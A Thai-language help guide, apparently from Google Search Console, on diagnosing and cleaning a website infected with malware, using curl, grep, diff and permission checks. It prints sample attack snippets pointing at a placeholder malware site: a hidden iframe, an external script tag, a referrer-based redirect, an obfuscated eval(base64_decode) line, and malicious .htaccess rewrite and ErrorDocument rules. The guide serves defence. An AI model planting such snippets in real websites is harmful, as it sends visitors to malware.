ถูกแฮ็กให้แพร่กระจายมัลแวร์

มัลแวร์คือซอฟต์แวร์หรือแอปพลิเคชันบนอุปกรณ์เคลื่อนที่ ซึ่งออกแบบมาเพื่อสร้างความเสียหายแก่คอมพิวเตอร์ อุปกรณ์เคลื่อนที่ ซอฟต์แวร์ที่ทำงานอยู่ หรือผู้ใช้ซอฟต์แวร์นั้นๆ ดูข้อมูลเพิ่มเติมเกี่ยวกับมัลแวร์ได้ที่มัลแวร์และซอฟต์แวร์ไม่พึงประสงค์

หากเว็บไซต์มีมัลแวร์ ผู้ใช้มักจะเห็นคำเตือน"เว็บไซต์นี้อาจเป็นอันตรายต่อคอมพิวเตอร์ของคุณ" แสดงในผลการค้นหาหรือในหน้าคั่นระหว่างหน้าที่เบราว์เซอร์แสดงเมื่อผู้ใช้พยายามเข้าชมเว็บไซต์ของคุณ ดังตัวอย่างต่อไปนี้

หน้าเว็บคั่นระหว่างหน้าของมัลแวร์
ผลการค้นหาที่มีคำเตือนมัลแวร์

โดยต้องใช้สิ่งต่างๆ ดังนี้

  • สิทธิ์ของผู้ดูแลระบบ Shell หรือเทอร์มินัลในการเข้าถึงเซิร์ฟเวอร์ของเว็บไซต์ ได้แก่ เว็บ ฐานข้อมูล และไฟล์
  • ความรู้เกี่ยวกับคำสั่ง Shell หรือเทอร์มินัล
  • ความสามารถในการเรียกใช้การค้นหา SQL ในฐานข้อมูล

การเตรียมพร้อม

  • ลงชื่อสมัครใช้ Search Console และยืนยันการเป็นเจ้าของเว็บไซต์ที่ถูกแฮ็กตามที่อธิบายไว้ Search Console มีตัวอย่างหน้าเว็บที่ได้รับผลกระทบ ซึ่งจะช่วยให้ค้นหาและแก้ไขปัญหาการแฮ็กด้วยมัลแวร์ได้ง่ายขึ้นมาก นอกจากนี้ คุณจะได้รับคำเตือนเมื่อระบบตรวจพบว่าเว็บไซต์ได้รับผลกระทบจากมัลแวร์หลายประเภทหรือการแฮ็กอื่นๆ
  • ดูหน้าการวินิจฉัยของ Google Safe Browsing เพื่อดูข้อมูลสาธารณะเกี่ยวกับเว็บไซต์ที่อาจเป็นอันตรายต่อผู้ใช้หรือไม่ คุณดูสถานะข้อมูลของหน้าเว็บหรือเว็บไซต์ได้ที่ URL ที่คล้ายกับตัวอย่างต่อไปนี้ https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** ตัวอย่างเช่น https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> อาจเป็น URL ของหน้าเว็บที่เฉพาะเจาะจง (http://example.com/badpage) หรือทั้งเว็บไซต์ (example.com)

  • หลีกเลี่ยงการใช้เบราว์เซอร์เพื่อดูหน้าในเว็บไซต์ เนื่องจากมัลแวร์มักจะแพร่กระจายโดยใช้ช่องโหว่ของเบราว์เซอร์ การเปิดหน้าเว็บที่ติดมัลแวร์ในเบราว์เซอร์อาจทำให้คอมพิวเตอร์เสียหายได้ โปรดใช้ cURL หรือ Wget ในการส่งคำขอ HTTP (เช่น ขอดึงข้อมูลหน้าเว็บ) เว้นแต่วิธีการวินิจฉัยจะบอกให้เข้าถึงหน้าเว็บในเบราว์เซอร์โดยตรง

    เครื่องมือที่มีให้ใช้งานฟรีเหล่านี้มีประโยชน์ในการวิเคราะห์การเปลี่ยนเส้นทาง และยังให้ความยืดหยุ่นในการรวมข้อมูล URL ที่มาหรือ User Agent การใส่ URL ที่มาหรือ user-agent ที่เฉพาะเจาะจงจะช่วยในการเลียนแบบแฮ็กเกอร์ เนื่องจากแฮ็กเกอร์อาจแสดงเฉพาะเนื้อหาที่เป็นอันตรายต่อผู้ใช้โดยใช้ user-agent หรือ URL ที่มาที่เฉพาะเจาะจงเพื่อกำหนดเป้าหมายไปยัง "ผู้ที่มีตัวตนอยู่จริง" ได้มากขึ้น รวมทั้งหลีกเลี่ยงการตรวจจับจากเจ้าของเว็บไซต์และโปรแกรมสแกนมัลแวร์

`curl -v --referer "http://www.google.com" <your-url>`

ต่อไปนี้คือตัวอย่างที่ระบุทั้ง User Agent และ Referrer

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

เราขอแนะนำให้ดึงข้อมูลหน้าเว็บที่มีและไม่มี --referer "https://www.google.com" เนื่องจากมัลแวร์บางรายการจะเปิดใช้งานก็ต่อเมื่อผู้ใช้มาจากผลการค้นหาของ Google Search

  • สร้างเอกสารสำหรับบันทึกสิ่งที่พบในขั้นตอนนี้ เอกสารจะระบุ (เป็นอย่างน้อย) ชื่อและตำแหน่งของไฟล์แต่ละไฟล์ที่เสียหาย รวมถึงหมายเหตุเกี่ยวกับวิธีติดเชื้อ และใช้เป็นพื้นฐานในการล้างและดูแลรักษาเว็บไซต์

  • ดูวิดีโอก่อนหน้านี้ในหน้านี้เพื่อดูวิธีการทำงานของมัลแวร์และวิธีรักษาความปลอดภัยในระหว่างการตรวจสอบมัลแวร์

การวินิจฉัย

ระบุมัลแวร์ที่ส่งผลกระทบต่อเว็บไซต์ของคุณ โดยทำดังนี้

  1. เปิดรายงานปัญหาด้านความปลอดภัยของเว็บไซต์ใน Search Console ขยายคำอธิบายคำเตือนมัลแวร์เพื่อดูรายการตัวอย่างหน้าเว็บที่ได้รับผลกระทบ โปรดทราบว่ารายการนี้ไม่ใช่รายการที่ครอบคลุมทั้งหมด คุณอาจไม่เห็นหน้าตัวอย่างของมัลแวร์บางประเภทในเว็บไซต์
  2. ทดสอบหน้าตัวอย่างเพื่อหามัลแวร์ประเภทต่อไปนี้

มัลแวร์การกำหนดค่าเซิร์ฟเวอร์ (การเปลี่ยนเส้นทางที่ไม่พึงประสงค์)

แฮ็กเกอร์ได้แฮ็กเว็บไซต์และเปลี่ยนเส้นทางผู้เข้าชมจากเว็บไซต์ที่ดีของคุณไปยังเว็บไซต์โจมตีมัลแวร์ ด้วยการแก้ไขไฟล์การกำหนดค่าของเซิร์ฟเวอร์ โดยไฟล์นี้จะอนุญาตให้ผู้ดูแลระบบของเว็บไซต์ระบุการเปลี่ยนเส้นทาง URL สำหรับหน้าเว็บบางหน้าหรือไดเรกทอรีบนเว็บไซต์ได้ เช่น ในเซิร์ฟเวอร์ Apache จะหมายถึงไฟล์ .htaccess และ httpd.conf

การวินิจฉัย

ไปที่บางตัวอย่างของ URL ที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัย การตอบสนองจากหน้าที่ติดมัลแวร์ประเภท "การกำหนดค่าเซิร์ฟเวอร์" อาจมีส่วนหัวต่อไปนี้

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

ระบุไฟล์ที่ได้รับผลกระทบ

ลงชื่อเข้าใช้เซิร์ฟเวอร์ผ่านการเข้าถึง Shell หรือเทอร์มินัล (เว็บไซต์อาจออฟไลน์ก็ได้หากคุณต้องการ) และตรวจสอบไฟล์การกําหนดค่าเซิร์ฟเวอร์ที่เกี่ยวข้อง ไฟล์การกำหนดค่าเซิร์ฟเวอร์ที่ถูกแฮ็กอาจมีมากกว่า 1 ไฟล์ในเว็บไซต์ ให้ตรวจสอบคำสั่งอันไม่พึงประสงค์ของไฟล์เหล่านี้ เช่น การเปลี่ยนเส้นทางไปยังเว็บไซต์ที่ไม่รู้จัก เช่น ในไฟล์ .htaccess` คุณอาจเห็นการเปลี่ยนเส้นทางที่มีลักษณะดังนี้

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

การแทรก SQL

แฮ็กเกอร์ได้แฮ็กฐานข้อมูลของเว็บไซต์ เช่น แฮ็กเกอร์อาจเขียนโปรแกรมแทรกโค้ดที่เป็นอันตรายลงในบันทึกทุกรายการของตารางฐานข้อมูล เพื่อที่ว่าเมื่อเซิร์ฟเวอร์โหลดหน้าที่จำเป็นต้องใช้ข้อมูลจากฐานข้อมูล จะมีการฝังโค้ดที่เป็นอันตรายในเนื้อหาของหน้าและอาจเป็นอันตรายต่อผู้เข้าชมเว็บไซต์

การวินิจฉัย

  1. เรียกใช้คำค้นหาบางคำใน URL ที่ได้รับผลกระทบในบรรทัดคำสั่ง และตรวจสอบการตอบสนองสำหรับคำโจมตี SQL เช่น "iframe" หรือ "eval"
  2. ลงชื่อเข้าใช้เซิร์ฟเวอร์ฐานข้อมูลหรือดูฐานข้อมูลผ่านเครื่องมือ เช่น phpMyAdmin หากคุณใช้ Wget หรือ cURL ให้ลองเปรียบเทียบความเสียหายที่พบในซอร์สโค้ดของหน้าผ่าน Wget หรือ cURL กับบันทึกฐานข้อมูลของจริง ตัวอย่างเช่น หากพบว่าหน้าเว็บมี iframe ที่อันตราย คุณสามารถใช้การค้นหา SQL เพื่อค้นหาโค้ด iframe เช่น

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. คุณอาจต้องตรวจสอบบันทึกฐานข้อมูลและไฟล์ข้อผิดพลาดบนเซิร์ฟเวอร์เพื่อหากิจกรรมที่ผิดปกติ เช่น คำสั่ง SQL ที่ไม่คาดคิดซึ่งดูผิดปกติสำหรับผู้ใช้ หรือหาข้อผิดพลาดทั่วไป

แก้ไขปัญหา

อัปเดตบันทึกฐานข้อมูลแต่ละรายการที่ติดมัลแวร์ หรือคืนค่าข้อมูลสำรองของฐานข้อมูลที่ใช้งานล่าสุด

การแทรกโค้ด

หน้าในเว็บไซต์ถูกแก้ไขให้มีโค้ดที่เป็นอันตราย เช่น iframe เปลี่ยนเส้นทางไปยังเว็บไซต์โจมตีมัลแวร์

การวินิจฉัย

ไปที่ URL ตัวอย่างบางรายการที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัยด้วย cURL หรือ wGet และตรวจสอบโค้ดที่น่าสงสัย โค้ดที่แทรกอาจมีได้หลายประเภทและอาจหาได้ยาก โดยอาจค้นหาคำว่า "iframe" เพื่อค้นหาโค้ด iframe คีย์เวิร์ดที่เป็นประโยชน์อื่นๆ คือ "script", "eval" และ "unescape" ตัวอย่างเช่น หากต้องการค้นหาไฟล์ทั้งหมดสำหรับ "iframe" ในระบบที่ใช้ Unix ให้ใช้คำสั่งต่อไปนี้

$grep -irn "iframe" ./ | less</pre>

ตัวอย่างรูปแบบของมัลแวร์ที่พบได้ทั่วไปซึ่งควรระวังมีดังนี้

iframe ที่โหลดเว็บไซต์ที่เป็นอันตราย

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript หรือภาษาสคริปต์อื่นที่เรียกใช้สคริปต์จากเว็บไซต์โจมตี

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

การเขียนสคริปต์ที่เปลี่ยนเส้นทางเบราว์เซอร์ไปยังเว็บไซต์โจมตี

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

โค้ดที่เป็นอันตรายที่สร้างความสับสนเพื่อหลีกเลี่ยงการตรวจพบ

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

ไฟล์ออบเจ็กต์ที่แชร์ซึ่งออกแบบมาเพื่อสุ่มเขียนโค้ดที่เป็นอันตรายลงในสคริปต์ที่เพิ่มขึ้นมา

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

เทมเพลตข้อผิดพลาดที่เป็นอันตราย

เทมเพลตที่ใช้สำหรับข้อความแสดงข้อผิดพลาด เช่น 404 ไม่พบไฟล์ ซึ่งมีการกำหนดค่าเพื่อแพร่กระจายมัลแวร์ ด้วยวิธีนี้ ผู้โจมตีจะเรียกใช้การโจมตีใน URL ที่ไม่มีอยู่ในเว็บไซต์ของคุณได้

การวินิจฉัย

ขอหน้าในเว็บไซต์ที่ไม่มีอยู่ หรือที่แสดงข้อผิดพลาดประเภทอื่น และตรวจสอบการตอบสนองเพื่อดูว่ามาจากเว็บไซต์อื่นหรือมีมัลแวร์หรือไม่

แก้ไขปัญหา

ลงชื่อเข้าใช้เว็บเซิร์ฟเวอร์และค้นหาไฟล์การกําหนดค่าเซิร์ฟเวอร์สําหรับคําสั่งหน้าแสดงข้อผิดพลาด เช่น เทมเพลตข้อผิดพลาดสำหรับเว็บเซิร์ฟเวอร์ Apache อาจประกาศไว้ในไฟล์ .htaccess ได้ ตัวอย่างรายการไฟล์ .htaccess ที่ดึงหน้าแสดงข้อผิดพลาด 404 จากเว็บไซต์ที่เป็นอันตรายมีดังนี้

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

เมื่อพร้อมที่จะทำความสะอาดเว็บไซต์ คุณอาจแทนที่ไฟล์ .htaccess ด้วยข้อมูลสำรองที่ใช้งานได้ล่าสุด หรือจะลบคำสั่ง ErrorDocument ไม่พึงประสงค์ในไฟล์ .htaccess ที่มีอยู่ก็ได้ อย่าลืมทำความสะอาดไฟล์ที่มีข้อผิดพลาดด้วยหากไฟล์ดังกล่าวอยู่บนเว็บไซต์ของคุณ สุดท้าย ให้รีสตาร์ทเว็บเซิร์ฟเวอร์เพื่อตรวจสอบว่าการเปลี่ยนแปลงทั้งหมดมีผล

ทรัพยากรที่โหลดจากเว็บไซต์ที่ถูกบุกรุกหรือเป็นอันตราย {compromised-resources}

เว็บไซต์ของคุณใช้เนื้อหาหรือแหล่งข้อมูลจากเว็บไซต์ที่มักมีเนื้อหาที่เป็นอันตราย ซึ่งอาจเป็นไฟล์ JavaScript, รูปภาพ หรือไฟล์อื่นๆ ด้วยเหตุนี้ ระบบจะแจ้งว่าเว็บไซต์ของคุณมีมัลแวร์ที่โหลดจากเว็บไซต์อื่น

การวินิจฉัย

ไปที่บางตัวอย่างของ URL ที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัย

แก้ไขปัญหา

  1. ยืนยันปัญหาโดยการเรียกดู URL ตัวอย่างบางส่วนที่แสดงอยู่ในรายงานปัญหาด้านความปลอดภัยใน Search Console คุณควรเห็นคำเตือนของเบราว์เซอร์
  2. คำเตือนของเบราว์เซอร์จะแจ้งโดเมนของเนื้อหาที่เป็นปัญหาให้คุณทราบ ให้นำการอ้างอิงไปยังเว็บไซต์ที่มีการแจ้งทั้งหมดออก ซึ่งแสดงไว้ในคำเตือนของเบราว์เซอร์ หากมีเนื้อหาจากเว็บไซต์ที่มีการแจ้งว่าไม่เหมาะสมรวมอยู่โดยที่คุณไม่ทราบ ปัญหาดังกล่าวอาจร้ายแรงกว่าที่คิด เว็บไซต์ของคุณมีแนวโน้มสูงว่าจะถูกบุกรุก และคุณควรตรวจสอบเว็บไซต์เพื่อหาการแฮ็กและช่องโหว่อื่นๆ ต่อไป
  3. หากคุณจงใจรวมเนื้อหาจากเว็บไซต์ที่ถูกต้องซึ่งถูกแจ้งว่าไม่เหมาะสม และต้องการรวมเนื้อหานั้นอีกครั้งหลังจากที่เว็บไซต์ดังกล่าวได้รับการแก้ไขแล้ว คุณสามารถตรวจสอบสถานะของเว็บไซต์ที่แจ้งว่าไม่เหมาะสมได้โดยใช้หน้าการวินิจฉัยของ Google Safe Browsing สำหรับเว็บไซต์นั้น (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} เจ้าของเว็บไซต์ที่ถูกต้องตามกฎหมายมักจะทำความสะอาดเว็บไซต์ได้อย่างรวดเร็ว

การตรวจสอบเพิ่มเติม

ถัดไป ให้ตรวจสอบไฟล์หรือการเปลี่ยนแปลงที่เป็นอันตรายเพิ่มเติมในระบบ แฮ็กเกอร์อาจแก้ไขหน้าเว็บหรือระเบียนฐานข้อมูลที่มีอยู่ สร้างหน้าใหม่ที่เป็นสแปมทั้งหมด เขียนฟังก์ชันที่แสดงสแปมในหน้าเว็บที่สะอาด หรือทิ้ง "ประตูหลัง" ไว้ซึ่งช่วยให้แฮ็กเกอร์เข้าสู่เว็บไซต์ของคุณอีกครั้ง หรือแทรกโค้ดที่เป็นอันตรายซึ่งคุณนำออกแล้วกลับเข้าไปใหม่

หากเว็บไซต์ออนไลน์อยู่ ให้พิจารณาปิดเว็บไซต์ไว้ระหว่างการตรวจสอบนี้

หากคุณมีข้อมูลสํารองที่ใช้งานได้ของเว็บไซต์ ให้ตรวจสอบว่าไฟล์ใดสร้างขึ้นหรือแก้ไขตั้งแต่มีการสํารองข้อมูล และตรวจสอบไฟล์เหล่านั้น ในระบบที่ใช้ Unix คุณสามารถใช้คำสั่งต่อไปนี้เพื่อค้นหาไฟล์ใหม่

diff -qr <current-directory> <backup-directory>

เช่น

diff -qr www/ backups/full-backup-20120124/

นอกจากนี้

md5sum <current-page> <backup-page>

เช่น

md5sum www/page.html backups/full-backup-20120124/page.html

ตรวจสอบบันทึกเซิร์ฟเวอร์ การเข้าถึง และข้อผิดพลาดเพื่อหากิจกรรมที่น่าสงสัย เช่น ความพยายามเข้าสู่ระบบที่ไม่สำเร็จ ประวัติคำสั่ง (โดยเฉพาะในฐานะรูท) และการสร้างบัญชีผู้ใช้ที่ไม่รู้จัก โปรดทราบว่าแฮ็กเกอร์อาจแก้ไขบันทึกเหล่านี้เพื่อวัตถุประสงค์ของตนเอง ตัวอย่างบางส่วนแสดงอยู่ในวิดีโอระบุช่องโหว่

ตรวจสอบไฟล์การกําหนดค่าเพื่อหาการเปลี่ยนเส้นทาง โดยทั่วไปไฟล์การกําหนดค่าจะมีชื่อว่า .htaccess และ httpd.conf แฮ็กเกอร์มักสร้างการเปลี่ยนเส้นทางแบบมีเงื่อนไขตาม User Agent, ช่วงเวลาของวัน หรือ URL ที่มา หากต้องการอัปเดตไฟล์การกําหนดค่า คุณอาจต้องรีสตาร์ทเซิร์ฟเวอร์เพื่อให้การเปลี่ยนแปลงมีผล

ตรวจสอบสิทธิ์ของโฟลเดอร์และไฟล์ที่ผ่อนปรนมากเกินไป แฮ็กเกอร์จะแทรกแซงสิทธิ์ เนื่องจากหากเจ้าของเว็บไซต์ไม่ตรวจพบสิทธิ์ที่ผ่อนปรน แฮ็กเกอร์จะมีวิธีเข้าสู่เว็บไซต์อีกครั้ง ไฟล์ที่มีขนาดใหญ่กว่า 644 (rw-r--r--) และโฟลเดอร์ที่มีขนาดใหญ่กว่า 755 (rwxr-xr-x) อาจทำให้เกิดปัญหาด้านความปลอดภัย ตรวจสอบว่าการให้สิทธิ์อย่างหละหลวมนั้นเกินความจำเป็นไหม ในระบบที่ใช้ Unix ให้ลองทำดังนี้

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

และ:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

หากคุณมีฐานข้อมูล ให้ตรวจสอบระเบียนทีละระเบียนโดยใช้เครื่องมืออย่าง phpMyAdmin